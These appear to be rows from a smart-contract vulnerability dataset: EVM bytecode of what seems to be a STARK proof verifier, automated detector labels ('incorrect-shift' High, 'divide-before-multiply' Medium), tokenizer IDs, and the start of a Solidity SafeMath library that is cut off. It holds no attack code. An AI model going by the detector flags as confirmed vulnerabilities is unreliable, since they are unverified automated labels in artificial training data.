160020a8861014181518110610aed57fe5b6020026020010181815250508660020a88600181518110610b0a57fe5b6020026020010181815250508588600381518110610b2457fe5b602002602001018181525050600089600081518110610b3f57fe5b6020026020010151905060008111610ba2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061451c6026913960400191505060405180910390fd5b6030811115610c1257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f546f6f206d616e7920717565726965732e000000000000000000000000000000604482015290519081900360640190fd5b7f000000000000000000000000000000000000000000000000000000000000005087898302011015610c8f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806145c16032913960400191505060405180910390fd5b8089600981518110610c9d57fe5b60200260200101818152505087830189600281518110610cb957fe5b60200260200101818152505088600281518110610cd257fe5b602002602001015160020a89600081518110610cea57fe5b6020026020010181815250506000610d4360038b600081518110610d0a57fe5b602002602001015160017f08000000000000110000000000000000000000000000000000000000000000010381610d3d57fe5b04611fe1565b9050808a600481518110610d5357fe5b6020026020010181815250506000610d7f828c600181518110610d7257fe5b6020026020010151611fe1565b9050808b61015f81518110610d9057fe5b6020026020010181815250505050505050505050505092915050565b6101600190565b90565b60008082601481518110610dc657fe5b602002602001015190506000610ddd600083612015565b60209081029401939093209392505050565b602082018352610e07610e0184612024565b8261202a565b505050565b600080610e198484612036565b949350505050565b600080610e2c612069565b11905090565b600690565b61016190565b6000806108cf8310610eb057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f4f766572666c6f772070726f74656374696f6e206661696c6564000000000000604482015290519081900360640190fd5b50506020908102919091010190565b63010000008210610f3157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4f766572666c6f772070726f74656374696f6e206661696c65642e0000000000604482015290519081900360640190fd5b7f08000000000000110000000000000000000000000000000000000000000000017ff80000000000020f00000000000000000000000000000000000000000000001f7e4000000000000110000000000001210000000000000000000000000000000060208601604087016020870286015b80871015610fd657845b858110610fc457506040832082516001018352610fac565b86858209885250602087019650610fa2565b505050505050505050565b60c590565b61016790565b61022c90565b60f890565b600080610e196110078585612036565b61206e565b611015816120b9565b806101618151811061102357fe5b6020026020010151816101488151811061103957fe5b602002602001018181525050806101616001018151811061105657fe5b6020026020010151816101498151811061106c57fe5b602002602001018181525050806101616002018151811061108957fe5b60200260200101518161014b8151811061109f57fe5b60200260200101818152505060006110b68261235e565b9050808261014a815181106110c757fe5b602002602001018181525050506110dd816125a1565b60055460405160009173ffffffffffffffffffffffffffffffffffffffff16906127c090613ca09060208183888601877ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa61113d573d6000803e3d6000fd5b8051945050600061119f8660f661022c018151811061115857fe5b602002602001015161119a886101608151811061117157fe5b60200260200101518960f661022c016001018151811061118d57fe5b60200260200101516129da565b612a07565b9050808514610291576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806144566027913960400191505060405180910390fd5b61035490565b6060600061120f83610126610e3d565b519392505050565b6000600a905060008261013b8151811061122d57fe5b60200260200101519050600080600090507f08000000000000110000000000000000000000000000000000000000000000006020850260208701018051935060208502808501855b8181101561128e57805185109590951794602001611275565b50602083810180517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe089019081529390910190922090915260006040830152905250801561133d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f496e76616c6964206669656c6420656c656d656e742e00000000000000000000604482015290519081900360640190fd5b818561013c8151811061134c57fe5b6020026020010181815250505050505050565b806113695761144d565b60007f0123456789abcded00000000000000000000000000000000000000000000000060005260208301518060085282602853602960002060005283518051602052602860002092508160005260286000206020860152600060408601526008810185525050600082610100036001901b905080821061144a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f50726f6f66206f6620776f726b20636865636b206661696c65642e0000000000604482015290519081900360640190fd5b50505b5050565b6000808084815b88811015611506578261147e576114766114718b612024565b612a34565b935061010092505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc09092019183831c88168260005b898211156114d25750878103518083106114c5576114d2565b80825288820391506114ac565b8083146114e557828252938801936114fb565b5b848210156114fb5781890180519092526114e6565b505050600101611458565b50848682038161151257fe5b049998505050505050505050565b61152981612a6a565b61156681611535612c6b565b61153d612c70565b6115498561044c610e3d565b8560068151811061155657fe5b602002602001015160001b612c75565b61156e610e21565b156115ac576115ac8161157f612c6b565b611587612069565b61159c85611593612c70565b61044c01610e3d565b8560066001018151811061155657fe5b6115d9816115b8612dd1565b6115c0612dd1565b6115cc8561086c610e3d565b8560088151811061155657fe5b6000805473ffffffffffffffffffffffffffffffffffffffff16906115ff83606d610e3d565b8351909150611200908190839060010160200286867ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa61144a573d6000803e3d6000fd5b61164d81612dd6565b50565b606060006015835110156116c557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f7075626c6963496e70757420697320746f6f2073686f72742e00000000000000604482015290519081900360640190fd5b604080516108cf80825262011a0082019092529060208201620119e0803683370190505091506201000082610142815181106116fd57fe5b602002602001018181525050618000826101438151811061171a57fe5b60200260200101818152505060008360008151811061173557fe5b60200260200101519050603281106117ae57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4e756d626572206f6620737465707320697320746f6f206c617267652e000000604482015290519081900360640190fd5b80836108cc815181106117bd57fe5b602002602001018181525050600481019150836001815181106117dc57fe5b60200260200101518361014d815181106117f257fe5b6020026020010181815250508360028151811061180b57fe5b60200260200101518361014e8151811061182157fe5b6020026020010181815250508261014e8151811061183b57fe5b60200260200101518361014d8151811061185157fe5b602002602001015111156118c657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f72635f6d696e206d757374206265203c3d2072635f6d61780000000000000000604482015290519081900360640190fd5b82610142815181106118d457fe5b60200260200101518361014e815181106118ea57fe5b60200260200101511061195e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f72635f6d6178206f7574206f662072616e676500000000000000000000000000604482015290519081900360640190fd5b6f6465785f776974685f626974776973658460038151811061197c57fe5b6020026020010151146119f057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4c61796f757420636f6465206d69736d617463682e0000000000000000000000604482015290519081900360640190fd5b836004815181106119fd57fe5b60200260200101518361014581518110611a1357fe5b60200260200101818152505083600581518110611a2c57fe5b60200260200101518361014781518110611a4257fe5b60200260200101818152505060018361014581518110611a5e57fe5b602002602001015114611ad257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f496e76616c696420696e697469616c2070630000000000000000000000000000604482015290519081900360640190fd5b60016004018361014781518110611ae557fe5b602002602001015114611b5957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f496e76616c69642066696e616c20706300000000000000000000000000000000604482015290519081900360640190fd5b83600681518110611b6657fe5b60200260200101518361014481518110611b7c57fe5b60200260200101818152505083600781518110611b9557fe5b60200260200101518361014681518110611bab57fe5b602002602001018181525050600184601481518110611bc657fe5b602002602001015110158015611bf25750620186a084601481518110611be857fe5b6020026020010151105b611c5d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f496e76616c6964206e756d626572206f66206d656d6f72792070616765732e00604482015290519081900360640190fd5b83601481518110611c6a57fe5b6020026020010151836108ce81518110611c8057fe5b6020026020010181815250506000805b846108ce81518110611c9e57fe5b6020026020010151811015611d3657600086611cb9836132cd565b81518110611cc357fe5b6020026020010151905063400000008110611d29576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806144f1602b913960400191505060405180910390fd5b9190910190600101611c90565b5080846108cd81518110611d4657fe5b602002602001018181525050506000611d73846108ce81518110611d6657fe5b60200260200101516132d6565b905084518114611de457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f5075626c696320696e707574206c656e677468206d69736d617463682e000000604482015290519081900360640190fd5b6020850160c08501526005611df985876132df565b505050915091565b82600081518110611e0e57fe5b6020026020010151600014611e6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806145f36025913960400191505060405180910390fd5b8251819060015b81811015611f81576000868281518110611e8b57fe5b6020026020010151905060008111611f0457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f6e6c79207468652066697273742066726920737465702063616e2062652030604482015290519081900360640190fd5b6004811115611f7457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d617820737570706f7274656420667269207374657020697320342e00000000604482015290519081900360640190fd5b9290920191600101611e75565b50838214611fda576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061456e6024913960400191505060405180910390fd5b5050505050565b600061200e83837f08000000000000110000000000000000000000000000000000000000000000016137fe565b9392505050565b60038102820160140192915050565b60200190565b61144d82826000613839565b81518051602082018452600091908315610e19576020850160208101828152604082208252600081525050949350505050565b600190565b60007f08000000000000110000000000000000000000000000000000000000000000017e40000000000001100000000000012100000000000000000000000000000000830992915050565b6000816108ce815181106120c957fe5b6020026020010151905060005b81811015610e075760006120e982613844565b602002846005815181106120f957fe5b60200260200101510190506000806121118486612015565b6020028660058151811061212157fe5b6020026020010151019050600080612138866132cd565b6020028860058151811061214857fe5b602002602001015101905060008151905083519250855194506000808811156121975760006121768961384d565b6020028b60058151811061218657fe5b602002602001015101905080519150505b600088156121a65760016121a9565b60005b7f0800000000000011000000000000000000000000000000000000000000000001848d610161815181106121d957fe5b60200260200101518e610161600101815181106121f257fe5b6020026020010151898c886040516020018089815260200188815260200187815260200186815260200185815260200184815260200183815260200182815260200198505050505050505050604051602081830303815290604052805190602001209050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a938567826040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156122c957600080fd5b505afa1580156122dd573d6000803e3d6000fd5b505050506040513d60208110156122f357600080fd5b505161234a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806144a86024913960400191505060405180910390fd5b5050600190960195506120d6945050505050565b600080826108cd8151811061236f57fe5b602002602001015190506000836101488151811061238957fe5b60200260200101519050600084610149815181106123a357fe5b6020026020010151905060006123cf86610141815181106123c057fe5b602002602001015160086138b3565b90506301000000841061244357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f4f766572666c6f772070726f74656374696f6e206661696c65642e0000000000604482015290519081900360640190fd5b8084111561249c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180614592602f913960400191505060405180910390fd5b6000866108ce815181106124ac57fe5b6020026020010151905060006124c3600083612015565b602002886005815181106124d357fe5b6020026020010151019050600061250b82847f0800000000000011000000000000000000000000000000000000000000000001613994565b905060008960058151811061251c57fe5b60209081029190910101516102408101516102608201519192509060006125478361119a848c6129da565b905060006125606125588c846139be565b8d8b03611fe1565b905061256c86826129da565b9550600061257a8c8b611fe1565b905061258e8161258989613a0d565b6129da565b9f9e505050505050505050505050505050565b600081610160815181106125b157fe5b602002602001015190506000826108cc815181106125cb57fe5b602002602001015160020a905060006125e88260046008026138b3565b905060006125f68483611fe1565b600154604080517f5ed86d5c00000000000000000000000000000000000000000000000000000000815260048101849052905192935073ffffffffffffffffffffffffffffffffffffffff90911691635ed86d5c91602480820192602092909190829003018186803b15801561266b57600080fd5b505afa15801561267f573d6000803e3d6000fd5b505050506040513d602081101561269557600080fd5b50518551869061013d9081106126a757fe5b602090810291909101810191909152600254604080517f5ed86d5c00000000000000000000000000000000000000000000000000000000815260048101859052905173ffffffffffffffffffffffffffffffffffffffff90921692635ed86d5c92602480840193829003018186803b15801561272257600080fd5b505afa158015612736573d6000803e3d6000fd5b505050506040513d602081101561274c57600080fd5b50518551869061013e90811061275e57fe5b6020026020010181815250506000612793866108cc8151811061277d57fe5b602002602001015160020a6001610200026138b3565b905060006127a18683611fe1565b600354604080517f5ed86d5c00000000000000000000000000000000000000000000000000000000815260048101849052905192935073ffffffffffffffffffffffffffffffffffffffff90911691635ed86d5c91602480820192602092909190829003018186803b15801561281657600080fd5b505afa15801561282a573d6000803e3d6000fd5b505050506040513d602081101561284057600080fd5b50518751889061013f90811061285257fe5b60209081029190910181019190915260048054604080517f5ed86d5c0000000000000000000000000000000000000000000000000000000081529283018590525173ffffffffffffffffffffffffffffffffffffffff90911692635ed86d5c9260248082019391829003018186803b1580156128cd57600080fd5b505afa1580156128e1573d6000803e3d6000fd5b505050506040513d60208110156128f757600080fd5b50518751889061014090811061290957fe5b602002602001018181525050866101616003018151811061292657fe5b60200260200101518761014f8151811061293c57fe5b602002602001018181525050866101616004018151811061295957fe5b6020026020010151876101528151811061296f57fe5b602002602001018181525050866101616005018151811061298c57fe5b602002602001015187610153815181106129a257fe5b6020026020010181815250506129b787613a60565b87610154815181106129c557fe5b60200260200101818152505050505050505050565b60007f08000000000000110000000000000000000000000000000000000000000000018284099392505050565b60007f08000000000000110000000000000000000000000000000000000000000000018284089392505050565b6000806000612a4284613c17565b9092509050612a518282613c23565b94509092509050612a63848383613839565b5050919050565b600081600981518110612a7957fe5b602002602001015190506000612a9083606d610e3d565b90506060820281016000612aa685610324610e3d565b9050600085600281518110612ab757fe5b60200260200101519050600086600081518110612ad057fe5b60200260200101519050600087600481518110612ae957fe5b60200260200101519050612c12565b600081905067aaaaaaaaaaaaaaaa811660046755555555555555558316021790506801999999999999999881166010676666666666666666831602179050680787878787878787808116610100677878787878787878831602179050687f807f807f807f8000811662010000677f807f807f807f80831602179050697fff80007fff800000008116640100000000677fff80007fff80008316021790506b7fffffff8000000000000000811668010000000000000000677fffffff8000000083160217905082607f0360020a8104905092915050565b600060405160208152602080820152602060408201528260608201528360808201528460a082015260208160c08360055afa612c0957600080fd5b51949350505050565b7f08000000000000110000000000000000000000000000000000000000000000015b85871015610fd65786518381018852612c5782612c518784612af8565b85612bce565b865250602085019450606087019650612c34565b601690565b601590565b612c7d612dd1565b612c85612c6b565b01831115612cf457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f546f6f206d616e7920636f6c756d6e732e000000000000000000000000000000604482015290519081900360640190fd5b600085600981518110612d0357fe5b602002602001015190506000612d1a87600a610e3d565b90506000612d2988606d610e3d565b90506060830281016000612d3e8a600d610e3d565b9050602088026000612d4e613c56565b865190915060208b8d030290845b86881015612db25783858320166020861415612d76575081515b8851825260208201526040018185015b80831015612da15782518d5260209c8d019c90920191612d86565b50828c019b50606088019750612d5c565b508752612dc187858b8b613c7a565b5050505050505050505050505050565b600290565b6000612de182610dac565b9050600082600981518110612df257fe5b6020026020010151905060005b81811015612e7557612e4d8482600302606d0160010181518110612e1f57fe5b60200260200101517f07fffffffffffdf0ffffffffffffffffffffffffffffffffffffffffffffffe16129da565b8482600302606d0160010181518110612e6257fe5b6020908102919091010152600101612dff565b506000612e8384606d610e3d565b60608381028220919250612e96866111ff565b80519091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff810190600190600090849083908110612ed157fe5b60200260200101519050612ee3614411565b838310156130ef576000612ef88a6001612036565b60001c90508a846101270181518110612f0d57fe5b602002602001015182600060058110612f2257fe5b60200201528551869085908110612f3557fe5b602002602001015182600160058110612f4a57fe5b602002015260408201879052606082018190528a518b906101308601908110612f6f57fe5b602002602001015182600460058110612f8457fe5b6020908102919091019190915260085460405173ffffffffffffffffffffffffffffffffffffffff90911691636a93856791859101808260a080838360005b83811015612fdb578181015183820152602001612fc3565b50505050905001915050604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561302f57600080fd5b505afa158015613043573d6000803e3d6000fd5b505050506040513d602081101561305957600080fd5b50516130c657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f494e56414c4944415445445f4652495f53544154454d454e5400000000000000604482015290519081900360640190fd5b80965083806001019450508584815181106130dd57fe5b60200260200101518301925050612ee3565b898361012701815181106130ff57fe5b60200260200101518160006005811061311457fe5b6020020152845185908490811061312757fe5b60200260200101518160016005811061313c57fe5b6020020152604081018690526131538a8984613c91565b606082015289518a90610130850190811061316a57fe5b60200260200101518160046005811061317f57fe5b6020908102919091019190915260085460405173ffffffffffffffffffffffffffffffffffffffff90911691636a93856791849101808260a080838360005b838110156131d65781810151838201526020016131be565b50505050905001915050604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561322a57600080fd5b505afa15801561323e573d6000803e3d6000fd5b505050506040513d602081101561325457600080fd5b50516132c157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601960248201527f494e56414c4944415445445f4652495f53544154454d454e5400000000000000604482015290519081900360640190fd5b50505050505050505050565b60030260150190565b60040260140190565b6000816008815181106132ee57fe5b6020026020010151905060008260098151811061330757fe5b602002602001015190508082111561336a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806144cc6025913960400191505060405180910390fd5b6801000000000000000081106133e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4f7574206f662072616e6765206f75747075742073746f705f7074722e000000604482015290519081900360640190fd5b6000846108cc815181106133f157fe5b602002602001015160020a905083600a8151811061340b57fe5b6020026020010151856101578151811061342157fe5b60200260200101818152505061349b856101578151811061343e57fe5b602002602001015185600b8151811061345357fe5b602002602001015160086003856040518060400160405280600881526020017f706564657273656e000000000000000000000000000000000000000000000000815250613e05565b7f049ee3eba8c1600700ee1b87eb599f16716b0b1022947733551fde4050ca680485610155815181106134ca57fe5b6020026020010181815250507f03ca0cfe4b3bc6ddf346d49d06ea0ed34e621062c0e056c1d0405d266e10268a856101568151811061350557fe5b60200260200101818152505083600c8151811061351e57fe5b6020026020010151856101588151811061353457fe5b6020026020010181815250506135ae856101588151811061355157fe5b602002602001015185600d8151811061356657fe5b602002602001015160086001856040518060400160405280600b81526020017f72616e67655f636865636b000000000000000000000000000000000000000000815250613e05565b60018561014c815181106135be57fe5b60200260200101818152505083600e815181106135d757fe5b60200260200101518561015d815181106135ed57fe5b6020026020010181815250506136688561015d8151811061360a57fe5b602002602001015185600f8151811061361f57fe5b60200260200101516102006002856040518060400160405280600581526020017f6563647361000000000000000000000000000000000000000000000000000000815250613e05565b6001856101598151811061367857fe5b6020026020010181815250507f06f21413efbe40de150e596d72f7a8c5609ad26c15c915c1f4cdfcb99cee9e898561015c815181106136b357fe5b6020026020010181815250507f049ee3eba8c1600700ee1b87eb599f16716b0b1022947733551fde4050ca68048561015a815181106136ee57fe5b6020026020010181815250507f03ca0cfe4b3bc6ddf346d49d06ea0ed34e621062c0e056c1d0405d266e10268a8561015b8151811061372957fe5b6020026020010181815250508360108151811061374257fe5b60200260200101518561015e8151811061375857fe5b6020026020010181815250506137d28561015e8151811061377557fe5b60200260200101518560118151811061378a57fe5b602002602001015160406005856040518060400160405280600781526020017f6269747769736500000000000000000000000000000000000000000000000000815250613e05565b600185610150815181106137e257fe5b6020026020010181815250506000856101518151811061134c57fe5b600060405160208152602080820152602060408201528460608201528360808201528260a082015260208160c08360055afa612c0957600080fd5b908252602090910152565b60030260160190565b600060018210156138a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806146b96032913960400191505060405180910390fd5b5060030260140190565b600080821161392357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f5468652064656e6f6d696e61746f72206d757374206e6f74206265207a65726f604482015290519081900360640190fd5b81838161392c57fe5b0615613983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603281526020018061470d6032913960400191505060405180910390fd5b81838161398c57fe5b049392505050565b6001602083028401845b818110156139b5578381518409925060200161399e565b50509392505050565b60007f0800000000000011000000000000000000000000000000000000000000000001827f08000000000000110000000000000000000000000000000000000000000000010384089392505050565b6000613a5a827f0800000000000010ffffffffffffffffffffffffffffffffffffffffffffffff7f08000000000000110000000000000000000000000000000000000000000000016137fe565b92915050565b6000808261015281518110613a7157fe5b6020026020010151905060008361015381518110613a8b57fe5b602090810291909101015190506010600e60018481019080805b6010811015613be2577f080000000000001100000000000000000000000000000000000000000000000185830891507f080000000000001100000000000000000000000000000000000000000000000186860994507f08000000000000110000000000000000000000000000000000000000000000018483097f0800000000000011000000000000000000000000000000000000000000000001818a0985017f0800000000000011000000000000000000000000000000000000000000000001857f08000000000000110000000000000000000000000000000000000000000000018487097f0800000000000011000000000000000000000000000000000000000000000001848909010894507f080000000000001100000000000000000000000000000000000000000000000181870995505050600101613aa5565b507f08000000000000110000000000000000000000000000000000000000000000018087840984089998505050505050505050565b80516020820151915091565b60408051602080820185905281830184905282518083038401815260609092019092528051910120919260019091019190565b7fffffffffffffffffffffffffffffffffffffffff00000000000000000000000090565b6000613c88858585856140e7565b95945050505050565b6000808461013b81518110613ca257fe5b602002602001015190506000600186600181518110613cbd57fe5b602002602001015183020390506000846001901b905060008060008961013c81518110613ce657fe5b6020026020010151905060005b89811015613de0576000898c83600302606d0181518110613d1057fe5b6020026020010151901c905083811415613d2a5750613dd8565b808c86600302606d0181518110613d3d57fe5b6020026020010181815250508093506000613d748d84600302606d0160020181518110613d6657fe5b602002602001015188611fe1565b9050808d87600302606d0160020181518110613d8c57fe5b602002602001018181525050613da28189611fe1565b9050613daf84828b6142a3565b8d87600302606d0160010181518110613dc457fe5b602090810291909101015250506001909301925b600101613cf3565b506000613dee8b606d610e3d565b6060949094029093209a9950505050505050505050565b6801000000000000000086108160405160200180807f4f7574206f662072616e67652000000000000000000000000000000000000000815250600d0182805190602001908083835b60208310613e8a57805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101613e4d565b6001836020036101000a038019825116818451168082178552505050505050905001807f20626567696e5f616464722e0000000000000000000000000000000000000000815250600c0191505060405160208183030381529060405290613f89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613f4e578181015183820152602001613f36565b50505050905090810190601f168015613f7b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000613f9683866138b3565b840287019050858711158015613fac5750808611155b8260405160200180807f496e76616c69642000000000000000000000000000000000000000000000000081525060080182805190602001908083835b6020831061402557805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101613fe8565b6001836020036101000a038019825116818451168082178552505050505050905001807f2073746f705f7074722e00000000000000000000000000000000000000000000815250600a0191505060405160208183030381529060405290610569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315613f4e578181015183820152602001613f36565b600080608083111561415a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f544f4f5f4d414e595f4d45524b4c455f51554552494553000000000000000000604482015290519081900360640190fd5b604051806040850287015b80881015614180578751825260209788019790910190614165565b508581526020808201604081815284840383019094206007547f6a9385670000000000000000000000000000000000000000000000000000000090925260248401819052935193945073ffffffffffffffffffffffffffffffffffffffff1692636a938567926044808201939291829003018186803b15801561420257600080fd5b505afa158015614216573d6000803e3d6000fd5b505050506040513d602081101561422c57600080fd5b505161429957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f494e56414c4944415445445f4d45524b4c455f53544154454d454e5400000000604482015290519081900360640190fd5b5091949350505050565b6000807f08000000000000110000000000000000000000000000000000000000000000016008840615614321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603881526020018061465f6038913960400191505060405180910390fd5b611000841061437b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614542602c913960400191505060405180910390fd5b6020840286015b868111156143fc577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff000181868181818181818a0960e0880151010960c0860151010960a08401510109608082015101925081868388858a878c8a096060880151010960408601510109602084015101098151019250614382565b5080828161440657fe5b069695505050505050565b6040518060a00160405280600590602082028036833750919291505056fe50726f6f6673206d6179206e6f7420626520707572656c79206261736564206f6e20506f572e636c61696d6564436f6d706f736974696f6e20646f6573206e6f74206d617463682074726163656c6f674672694c6173744c61796572446567426f756e64206d757374206265206174206d6f73742031302e4d656d6f72792070616765206661637420776173206e6f7420726567697374657265642e6f757470757420626567696e5f61646472206d757374206265203c3d2073746f705f707472546f6f206d616e79207075626c6963206d656d6f727920656e747269657320696e206f6e6520706167652e4e756d626572206f662071756572696573206d757374206265206174206c65617374206f6e654e6f206d6f7265207468616e203430393620636f656666696369656e74732061726520737570706f7274656446726920706172616d7320646f206e6f74206d61746368207472616365206c656e6774684e756d626572206f662076616c756573206f66207075626c6963206d656d6f727920697320746f6f206c617267652e50726f6f6620706172616d7320646f206e6f74207361746973667920736563757269747920726571756972656d656e74732e4f6e6c792065746130203d3d20302069732063757272656e746c7920737570706f727465646c6f67426c6f777570466163746f72206d757374206265206174206c6561737420316d696e696d756d2070726f6f664f66576f726b42697473206e6f74207361746973666965644e756d626572206f6620706f6c796e6f6d69616c20636f656666696369656e7473206d75737420626520646976697369626c6520627920386c6f67426c6f777570466163746f72206d757374206265206174206d6f737420313641646472657373206f6620706167652030206973206e6f742070617274206f6620746865207075626c696320696e7075742e70726f6f664f66576f726b42697473206d757374206265206174206d6f7374203530546865206e756d657261746f72206973206e6f7420646976697369626c65206279207468652064656e6f6d696e61746f722ea264697066735822122090559f67f743d4b0f4e8470020a06d0d34333d8ec820620c3f523db9c41cd5de64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-shift', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 23352, 18939, 2094, 2692, 2278, 2620, 2063, 2575, 2546, 16068, 22907, 3207, 2050, 2629, 2497, 2620, 2620, 27531, 20952, 2475, 2546, 26976, 2683, 2629, 8586, 2487, 2050, 22394, 2094, 1013, 1008, 9385, 10476, 1011, 16798, 2475, 9762, 8059, 6088, 5183, 1012, 7000, 2104, 1996, 15895, 6105, 1010, 2544, 1016, 1012, 1014, 1006, 1996, 1000, 6105, 1000, 1007, 1012, 2017, 2089, 2025, 2224, 2023, 5371, 3272, 1999, 12646, 2007, 1996, 6105, 1012, 2017, 2089, 6855, 1037, 6100, 1997, 1996, 6105, 2012, 16770, 1024, 1013, 1013, 7479, 1012, 9762, 8059, 1012, 2522, 1013, 2330, 1011, 3120, 1011, 6105, 1013, 4983, 3223, 2011, 12711, 2375, 2030, 3530, 2000, 1999, 3015, 1010, 4007, 5500, 2104, 1996, 6105, 2003, 5500, 2006, 2019, 1000, 2004, 2003, 1000, 3978, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,791
0x975e367a2539a876290abdc3fe869244fe4dee77
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.7.5; // ---------------------------------------------------------------------------- // SafeMath library // ---------------------------------------------------------------------------- library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's 